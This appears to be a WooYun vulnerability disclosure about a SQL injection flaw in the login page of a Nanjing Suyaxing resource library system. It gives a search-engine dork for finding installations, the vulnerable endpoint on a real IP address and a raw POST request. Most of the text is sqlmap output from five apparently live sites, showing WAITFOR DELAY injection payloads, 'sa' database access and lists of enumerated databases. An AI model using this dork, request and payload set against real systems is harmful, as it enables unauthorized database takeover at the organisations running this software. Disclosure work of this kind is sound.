WooYun.org

厂商：南京苏亚星资讯科技开发有限公司
资源库管理系统
搜索引擎关键字：帮助 正在读取数据... 注册用户 系统用户 用户名: 密码: 南京苏亚星资讯科技开发 有一部分是内网使用，好不容易找到5个案例。
http://www.baidu.com/s?wd=帮助%20正在读取数据...%20注册用户%20系统用户%20用户名%3A%20密码%3A%20南京苏亚星资讯科技开发&pn=70&oq=帮助%20正在读取数据...%20注册用户%20系统用户%20用户名%3A%20密码%3A%20南京苏亚星资讯科技开发&ie=utf-8&rsv_pq=a65219180002c407&rsv_t=1bf6peBE4nxiKJ9IRZZHqdmHEUoE5yoanRcAf8sP1AjtIh3cHKM3bZuGPtc&rsv_page=1&f=8&rsv_bp=1&tn=baidu

漏洞位于:POST http://183.167.250.28:81/Public/Asp/LogValid.asp
UserName参数没有过滤，导致注射
POST http://183.167.250.28:81/Public/Asp/LogValid.asp HTTP/1.1
Host: 183.167.250.28:81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://183.167.250.28:81/default.asp
Cookie: ASPSESSIONIDASABDBDC=FCKPGCPDPEEBDBEKMJIHNHKE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
UserName=1&pwd=2&submit1=%B5%C7+%C2%BC
5个案例证明通用
1、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ?
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ?
---
[09:05:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[09:05:07] [INFO] fetching current user
[09:05:07] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[09:06:03] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[09:06:22] [INFO] adjusting time delay to 4 seconds due to good response times
s
[09:07:06] [INFO] adjusting time delay to 3 seconds due to good response times
a
current user: 'sa'
[09:08:06] [INFO] fetching current database
[09:08:06] [INFO] retrieved: Jupiter5
current database: 'Jupiter'
[09:15:55] [INFO] fetching database names
[09:15:55] [INFO] fetching number of databases
[09:15:55] [INFO] retrieved: 6
[09:16:41] [INFO] retrieved: Jupiter5
[09:23:43] [INFO] retrieved: m
[09:25:30] [ERROR] invalid character detected. retrying..
[09:25:30] [WARNING] increasing time delay to 4 seconds
aster
[09:30:20] [INFO] retrieved: model
[09:36:12] [INFO] retrieved: msdb
[09:40:13] [INFO] retrieved: SRP20
[09:45:39] [ERROR] invalid character detected. retrying..
[09:45:39] [WARNING] increasing time delay to 5 seconds
[09:46:25] [ERROR] invalid character detected. retrying..
[09:46:25] [WARNING] increasing time delay to 6 seconds
03
[09:48:59] [INFO] retrieved: tempdb
available databases [6]:
[*] [model\x06]
[*] [tempdb\x1f]
[*] Jupiter5
[*] master
[*] msdb
[*] SRP2003
[09:56:36] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\114.99.45.249'
2、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ?
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ?
---
[09:02:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2000
[09:02:49] [INFO] fetching current user
[09:02:50] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[09:02:56] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[09:03:07] [INFO] adjusting time delay to 1 second due to good response times
sa
current user: 'sa'
[09:03:13] [INFO] fetching current database
[09:03:13] [INFO] retrieved: Jupiter5
current database: 'Jupiter5'
[09:03:55] [INFO] fetching database names
[09:03:55] [INFO] fetching number of databases
[09:03:55] [INFO] retrieved: 9
[09:03:59] [INFO] retrieved:
[09:04:22] [ERROR] invalid character detected. retrying..
[09:04:22] [WARNING] increasing time delay to 2 seconds
Jupiter5
[09:05:36] [INFO] retrieved: mas
[09:06:32] [ERROR] invalid character detected. retrying..
[09:06:32] [WARNING] increasing time delay to 3 seconds
ter
[09:07:14] [INFO] retrieved:
[09:07:28] [ERROR] invalid character detected. retrying..
[09:07:28] [WARNING] increasing time delay to 4 seconds
[09:07:49] [ERROR] invalid character detected. retrying..
[09:07:49] [WARNING] increasing time delay to 5 seconds
model
[09:09:42] [INFO] retrieved: msdb
[09:11:02] [INFO] retrieved: Northwind
[09:14:35] [INFO] retrieved: pubs
[09:16:06] [INFO] retrieved: SRP2003
[09:18:31] [INFO] retrieved: tempdb
[09:20:45] [INFO] retrieved: Vod2005
available databases [9]:
[*] [master\t]
[*] Jupiter5
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] SRP2003
[*] tempdb
[*] Vod2005
[09:23:20] [WARNING] HTTP error codes detected during testing:
503 (Service Unavailable) - 2 times
[09:23:20] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\124.165.218.69'
3、sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ?
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ?
---
[10:14:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[10:14:56] [INFO] fetching current user
[10:14:56] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[10:15:52] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[10:16:11] [INFO] adjusting time delay to 4 seconds due to good response times
sa
current user: 'sa'
[10:17:56] [INFO] fetching current database
[10:17:56] [INFO] retrieved: Jupiter5
current database: 'Jupiter5'
[10:25:30] [INFO] fetching database names
[10:25:30] [INFO] fetching number of databases
[10:25:30] [INFO] retrieved: 11
[10:26:30] [INFO] retrieved: Jupiter5
[10:34:04] [INFO] retrieved: master
[10:39:48] [INFO] retrieved: model
[10:44:51] [INFO] retrieved: msdb
[10:48:52] [INFO] retrieved: Northwind
[10:57:40] [INFO] retrieved: pubs
[11:01:49] [INFO] retrieved: SRP2003
[11:08:31] [INFO] retrieved: tempdb
[11:14:26] [INFO] retrieved: TempJupiterSa
[11:26:23] [INFO] retrieved: Vod2005
[11:33:12] [INFO] retrieved: ws2004
available databases [11]:
[*] Jupiter5
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] SRP2003
[*] tempdb
[*] TempJupiterSa
[*] Vod2005
[*] ws2004
[11:39:12] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\www.lhjsxx.com'
4、[root@Hacker~]# Sqlmap -r d:\post5.txt --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:45:59
[10:45:59] [INFO] parsing HTTP request from 'd:\post5.txt'
[10:45:59] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:45:59] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.suyaxing.com:801/ErrMsg/NoUser.htm'. Do
you want to follow? [Y/n] n
[10:46:05] [INFO] heuristics detected web page charset 'ascii'
[10:46:05] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ?
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ?
---
[10:46:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[10:46:05] [INFO] fetching current user
[10:46:05] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[10:47:00] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[10:47:19] [INFO] adjusting time delay to 3 seconds due to good response times
sa
current user: 'sa'
[10:49:00] [INFO] fetching current database
[10:49:00] [INFO] retrieved: Jupiter5
current database: 'Jupiter5'
[10:55:57] [INFO] fetching database names
[10:55:57] [INFO] fetching number of databases
[10:55:57] [INFO] retrieved: 23
[10:57:11] [INFO] retrieved: Jupiter5
[11:04:12] [INFO] retrieved: mas
5、[11:09:24] [INFO] parsing HTTP request from 'd:\post6.txt'
[11:09:24] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:09:24] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://183.167.250.28:81/ErrMsg/NoUser.htm'. Do yo
u want to follow? [Y/n] n
[11:09:31] [INFO] heuristics detected web page charset 'ascii'
[11:09:31] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UserName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ?
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ?
---
[11:09:31] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000
[11:09:31] [INFO] fetching current user
[11:09:31] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[11:10:26] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[11:10:45] [INFO] adjusting time delay to 4 seconds due to good response times
s
[11:11:29] [INFO] adjusting time delay to 3 seconds due to good response times
a
current user: 'sa'
[11:12:29] [INFO] fetching current database
[11:12:29] [INFO] retrieved: Ju